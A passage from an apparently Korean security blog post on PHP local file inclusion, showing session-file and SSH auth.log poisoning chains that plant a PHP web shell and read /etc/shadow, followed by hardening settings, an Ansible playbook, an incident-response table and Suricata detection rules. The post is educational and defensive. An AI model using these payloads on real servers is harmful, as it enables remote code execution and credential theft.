# [Step 1: 해커가 정상적인 세션 등록 파라미터(예: 프로필 변경, 언어 선택)에 악성 PHP 코드를 밀어 넣음]
POST /profile.php HTTP/1.1
Host: 10.0.0.100
Cookie: PHPSESSID=evil123456789
Content-Type: application/x-www-form-urlencoded

lang=<?php system($_GET["cmd"]); ?>

# [Step 2: 서버는 이를 받아들여 물리 디스크 경로인 `/var/lib/php/sessions/sess_evil123456789` 파일 내부에 직렬화된 형태로 악성 코드를 박제함]

# [Step 3: LFI 라우터에 세션 파일의 절대 경로를 태워 인클루드 호출을 강제함]
GET /index.php?page=../../../../../../var/lib/php/sessions/sess_evil123456789&cmd=id HTTP/1.1
# [결과 분석 및 방어 인사이트 도출]
# 세션 파일은 `www-data` 권한으로 생성 및 읽기가 강제되므로, 파일 퍼미션 방어벽을 완벽히 무력화시키는 치명적 벡터임.
# → 방어책: 세션 데이터를 파일 시스템이 아닌 Redis나 Memcached 같은 인메모리(In-Memory) 저장소에 매핑하도록 PHP 핸들러를 아키텍처 단위에서 마이그레이션해야 함.

📘 Scenario B: SSH Auth 로그 포이즈닝 우회 기법

  • 학습 목표: 해커가 22번 포트(SSH)를 향해 가짜 사용자 이름으로 인증을 시도하여 OS의 SSH 로그(/var/log/auth.log)를 오염시키고 이를 LFI로 관통하는 창의적인 우회 킬체인을 완성함.
# [Step 1: 해커가 칼리 리눅스에서 SSH 접속을 시도하되, 계정명 필드에 악성 PHP 코드를 주입하여 인증 실패를 유도함]
ssh '&lt;?php system($_GET["cmd"]); ?&gt;'@10.0.0.100

# [Step 2: 타겟 서버의 커널은 인증 실패 로그를 남기며, 잘못된 사용자 이름 필드에 담긴 PHP 코드를 `/var/log/auth.log`에 박제함]

# [Step 3: LFI 라우터에 auth.log 경로와 커맨드 페이로드를 태워 RCE 쉘을 즉각 탈취함]
curl "[http://10.0.0.100/index.php?page=../../../../../var/log/auth.log&cmd=cat%20/etc/shadow](http://10.0.0.100/index.php?page=../../../../../var/log/auth.log&cmd=cat%20/etc/shadow)"

9. 🩹 트러블슈팅 및 장애 대응 실무 (RCA)

에러 로그 증상 (Symptom) 장애 발생 원인 분석 (Root Cause) 실무 해결책 및 조치 방안 (Resolution)
open_basedir restriction in effect. File(...) is not within the allowed path 방어자가 php.ini에 설정한 open_basedir 디렉터리 바운더리를 공격자가 ../ 트래버설로 벗어나 상위 OS 파일에 접근하려다 PHP 커널에 하드 블락(Drop) 당함. 방어 아키텍처가 정상 동작 중인 것이며, open_basedir 우회를 방지하기 위해 심볼릭 링크 제한 옵션 설정 무결성을 추가 검증함.
URL file-access is disabled in the server configuration 해커가 http://evil.com/shell.txt 외부 페이로드를 쏘는 RFI 공격이나 php://input 래퍼를 호출했으나, 커널의 allow_url_include=Off 세팅에 의해 인클루드 채널이 박살 남. 원격 파일 참조 로직이 차단된 정상적인 락다운 상태임. 다만 로컬 파일 경로 참조(LFI)는 여전히 가능하므로 뷰 렌더링 코드의 화이트리스트 검토가 필수적임.
브라우저에서 Warning: include(): failed to open stream 에러 출력 공격자가 퍼징한 로컬 파일 경로가 서버 디스크에 존재하지 않거나, 오타가 있어 파일 핸들을 열지 못함. 하지만 에러 페이지에 로컬 서버의 절대 경로가 덤프 노출됨. php.ini에서 에러 출력 환경변수 display_errors = Off를 강제 선언하여 해커에게 인프라 절대 경로 지도를 제공하는 행위를 100% 맹인화(Blind)시킴.
include() 호출 부에서 뒤에 무조건 .php 확장자가 강제 결합되어 파일 탐색 실패 개발 코드가 include($_GET['page'] . '.php'); 형태로 되어 있어 /etc/passwd.php를 찾으려다 실패함. 현대 PHP에서는 Null Byte(%00) 절단 우회도 통하지 않음. 공격자 입장에서는 페이로드 사출이 막힌 상태이며, 방어자 입장에서는 취약점이 소멸된 것이 아니므로 Path Variable이나 Wrapper 체인을 통한 확장자 우회 여부를 코딩 감사해야 함.

10. 🛡️ 방어 아키텍처 및 위협 헌팅 엔지니어링 실무 (Blue Team Focus)

10-1. MITRE D3FEND 프레임워크 매핑

방어 전술 (Tactic) 방어 기법 세부 항목 (Technique) 차단 원리 및 보안 메커니즘 상세 설명 ID (Code)
Harden Application Configuration Hardening php.iniallow_url_include = Offopen_basedir = /var/www/ 강제 적용으로 파일 접근 범위를 웹 루트 내부로 샌드박스 격리함 D3-ACH
Isolate Execution Isolation 웹 데몬(www-data) 프로세스의 파일 읽기 권한(Permission)을 분리하여, 해커가 LFI로 /var/log/etc/shadow를 인클루드하려 할 때 OS 커널 레벨 권한 부족으로 차단함 D3-EI
Detect HTTP Traffic Analysis ModSecurity WAF 및 Suricata 연동을 통해 URI 파라미터 내의 ../ 패턴, php:// 래퍼, Base64 필터 인코딩 문자열을 실시간 L7 딥 인스펙션 헌팅함 D3-HTA

10-2. 웹 인프라 하드닝 및 시큐어 코딩 기준

  • 인프라 샌드박스 및 권한 격리 레이어 (L7 OS Kernel):
    1. open_basedir 샌드박싱: PHP 프로세스가 파일 시스템 전체를 헤집고 다니지 못하도록, php.ini나 Nginx FastCGI 파라미터에서 fastcgi_param PHP_VALUE "open_basedir=/var/www/html/"; 구문을 명시하여 파일 접근 가시거리를 감옥(Chroot) 수준으로 가둠.
    2. 시스템 로그 권한 하드닝: access.log, auth.log 등 포이즈닝의 타겟이 되는 로그 파일의 소유권을 root:adm으로 고정하고, www-data 사용자가 절대 읽을 수 없도록(Read Permission 제거) 옥죄어 LFI가 터지더라도 RCE 에스컬레이션을 물리적으로 절단함.
  • 개발 아키텍처 보안 코딩 레이어 (Application Code):
    1. 사용자 입력값 신뢰 제로 트러스트: include(), require(), fopen() 등의 I/O 함수 인자에 $_GET['page'] 같은 사용자 입력 변수가 직접 바인딩되는 구조를 100% 폐기함.
    2. 인덱스 화이트리스트(Whitelist) 강제: 동적 페이지 로딩이 필수불가결하다면, 입력값을 그대로 경로로 쓰지 말고 백엔드 로직에서 스위치-케이스(Switch-case) 문을 이용해 정해진 키워드(예: 1=about.php, 2=contact.php) 외의 모든 트래픽을 즉시 예외 처리(Drop)함.

10-3. IaC 기반 자동화 보안 설정 마스터 템플릿

# Ansible Playbook 구축 예시: LFI 및 RFI 공격 차단과 RCE 무력화를 위한 PHP 보안 코어 하드닝 마스터 룰셋임
- name: Secure PHP configuration against LFI/RFI Vectors
  lineinfile:
    path: /etc/php/8.3/fpm/php.ini
    regexp: '^{{ item.key }}'
    line: '{{ item.key }} = {{ item.value }}'
  with_items:
    # 1. 외부 URL 참조 파일 인클루드 원천 차단 (RFI 격리)
    - { key: 'allow_url_include', value: 'Off' }
    - { key: 'allow_url_fopen', value: 'Off' }

    # 2. 로컬 디렉터리 역주행(Traversal) 방지를 위한 파일 시스템 샌드박스 바운더리 선언
    - { key: 'open_basedir', value: '/var/www/html/:/tmp/' }

    # 3. 에러 발생 시 절대 경로 유출(Full Path Disclosure) 방지 맹인화
    - { key: 'display_errors', value: 'Off' }
    - { key: 'log_errors', value: 'On' }

    # 4. [💡 핵심 방어] LFI가 RCE로 터지는 것을 원천 방어하기 위한 치명적 쉘 커맨드 함수 셧다운
    - { key: 'disable_functions', value: 'system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec' }
  notify: restart php-fpm

10-4. 침해 인시던트 대응 절차 (IR Playbook)

대응 단계 실무 대응 행동 강령 인프라 담당 역할 헌팅 소요 시간
1. 탐지 Graylog SIEM에서 웹 파라미터(?page=)에 반복적인 ../ 탐색 쿼리나, php://filter 래퍼 텍스트가 인입되는 아노말리 알람을 즉각 인지함 SOC Analyst T+0
2. 격리 OPNsense 방화벽에서 공격 출발지 IP를 즉시 Drop 처리하고, 타겟 웹 서버의 Nginx에서 해당 취약 엔드포인트 라우터를 return 444로 잠정 폐쇄 격리함 IR Team T+5분
3. 증거 수집 웹 서버의 access.log/var/log/auth.log, 물리 세션 파일(/var/lib/php/sessions)을 해싱 보존하고, 내부에 &lt;?php ... ?&gt; 웹쉘 코드 문자열이 인젝션 각인되었는지 딥 포렌식함 Forensic Analyst T+30분
4. 원인 분석 LFI 공격이 단순 정보 유출(/etc/passwd 덤프)에 그쳤는지, 포이즈닝을 통해 이미 시스템에 리버스 쉘 프로세스(RCE)를 띄웠는지 메모리 및 프로세스 트리를 정밀 리버싱 역추적함 IR Team T+2시간
5. 인프라 복구 오염된 로그 파일을 전면 백업 후 비우기(Purge) 조치하고, 취약한 include() 로직을 화이트리스트 패치 적용 후 open_basedir 락다운 상태로 재기동함 SysAdmin T+4시간

10-5. 엔터프라이즈 위협 헌팅 탐지 룰셋 (Suricata NIDS)

# HTTP 파라미터 및 경로 탐색을 통한 디렉터리 횡단(Directory Traversal) LFI 스니핑 차단 룰셋임
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SERVER Possible LFI Directory Traversal (../) Attempt"; flow:established,to_server; content:"../"; http_uri; threshold:type limit, track by_src, count 5, seconds 30; classtype:web-application-attack; sid:2010991; rev:2;)

# 소스코드 유출 및 RCE 우회를 위한 PHP Wrapper (php://filter, data:// 등) 주입 실시간 포착 룰셋임
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET POLICY Suspicious PHP Wrapper Injection (php://filter or data://)"; flow:established,to_server; pcre:"/(php|data|expect|zip|phar):\/\//i"; http_uri; classtype:attempted-admin; sid:2010992; rev:1;)

11. 🔗 글로벌 공식 레퍼런스 데이터베이스 (References)

  • OWASP LFI (Local File Inclusion) 공격 구조 및 방어 테스팅 가이드라인: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
  • PHP 공식 메뉴얼 - Supported Protocols and Wrappers: https://www.php.net/manual/en/wrappers.php
  • MITRE ATT&CK 파일 및 디렉터리 정보 수집(T1083) 전술 심층 분석: https://attack.mitre.org/techniques/T1083/
  • PortSwigger (Burp Suite) Directory Traversal & File Inclusion 취약점 해부 웹 아카데미: https://portswigger.net/web-security/file-path-traversal
  • NVD (National Vulnerability Database) CWE-98 파일 이름 불완전 통제 결함 문서: https://cwe.mitre.org/data/definitions/98.html

12. 🏁 결론 및 비즈니스 임팩트 (Wrap-up)

🎓 이 포스팅에서 배운 보안 엔지니어링 관점

  • 공격 관점의 통찰: LFI는 단순한 파일 읽기 버그가 아님. 해커는 파일 시스템의 경로 탐색(../) 기능과 PHP가 제공하는 강력한 스트림 파이프라인(php://filter)을 연계하여 서버 소스코드를 훔쳐냄은 물론, 아무도 신경 쓰지 않던 웹 로그(access.log)와 세션 파일(sess_XXX)조차 메모리에 강제 렌더링시켜 백도어 쉘(RCE)로 탈바꿈시키는 최악의 연쇄 킬체인 벡터임을 완벽히 입증함.
  • 방어 관점의 통찰: 개발자가 입력값을 치환(Replace)하는 블랙리스트 정규식 필터링은 공격자의 끝없는 인코딩(%00, %252e 등) 다형성 앞에 100% 무력화됨. 웹 소스 레벨의 화이트리스트 검증과 더불어 커널 단의 open_basedir 디렉터리 감옥(Chroot) 격리, 그리고 disable_functions를 통한 커맨드 셧다운이 시스템 권한 붕괴를 막아내는 최후의 보루(Defense in Depth)임을 체득함.
  • 다음 단계의 실무 과제: 허가된 로컬 가상 온프레미스(VMware/Proxmox) 망에 취약한 PHP-FPM 랩을 배포하고, Kali 머신에서 Burp Suite를 이용한 SSH Log Poisoning RCE 및 Session Poisoning 에스컬레이션 공방 테스트를 직접 수행하며, ModSecurity WAF 룰 코릴레이션 헌팅 파이프라인을 연동하여 L7 LFI 탐지 감각을 극한으로 숙달함.

🔰 인프라 엔지니어링 방어 철학

(✏️ Architected by Elpam.k)
"하드웨어 WAF가 수만 개의 L7 페이로드를 막아낸다 한들, 애플리케이션 코드가 사용자 입력을 무조건적으로 신뢰하여 파일 I/O API(include())에 직결시키는 순간 서버의 파일 시스템은 1초 만에 해커의 터미널 쉘로 넘어감." 인프라 방어 설계 시 단순히 웹 포트나 입력 폼을 감시하는 일차원적 사고에서 벗어나, PHP 코어가 파일을 어떻게 렌더링하고 스트림 래퍼(Wrapper)가 내부 메모리에 어떤 트리거를 유발하는지 커널 아키텍처 깊이까지 꿰뚫어보는 제로 트러스트(Zero Trust) 시야가 필수적임. 따라서 모든 웹 아키텍처의 기저에 '절대적 경로 샌드박싱(open_basedir)'과 '로컬 권한 격리(Least Privilege)'를 가장 보수적으로 적용하여, LFI가 뚫리더라도 RCE로 폭발하는 뇌관을 물리적으로 절단하는 방어 체계를 인포싱해야 함.


💡 Related Posts

  • 👉 [PHP-FPM 환경의 open_basedir 샌드박스 구축 및 파일 권한 하드닝 실무]
  • 👉 [ModSecurity WAF 연동을 통한 PHP Wrapper 주입 및 RFI 방어 최적화 가이드]
  • 👉 [Suricata NIDS 기반 악성 Directory Traversal 및 Log Poisoning 헌팅 탐지 실무]

오류·추가 질문은 댓글로 남겨 주시면 확인함.


🔖 Tistory Tags: #LFI #RCE #웹해킹 #모의해킹 #PHP_Wrapper #LogPoisoning #SessionPoisoning #DFIR #버그바운티

Architected by Elpam.k

'보안 기술 > 웹 & 시스템 해킹' 카테고리의 다른 글

XSS (Cross-Site Scripting)  (0) 2026.05.12
Remote File Inclusion (RFI)  (1) 2026.04.11
SSTI  (0) 2026.04.08
리버스 쉘(Reverse Shell)  (0) 2026.04.08
가상 호스팅 (Virtual Hosting)  (0) 2026.04.08

Discussion 0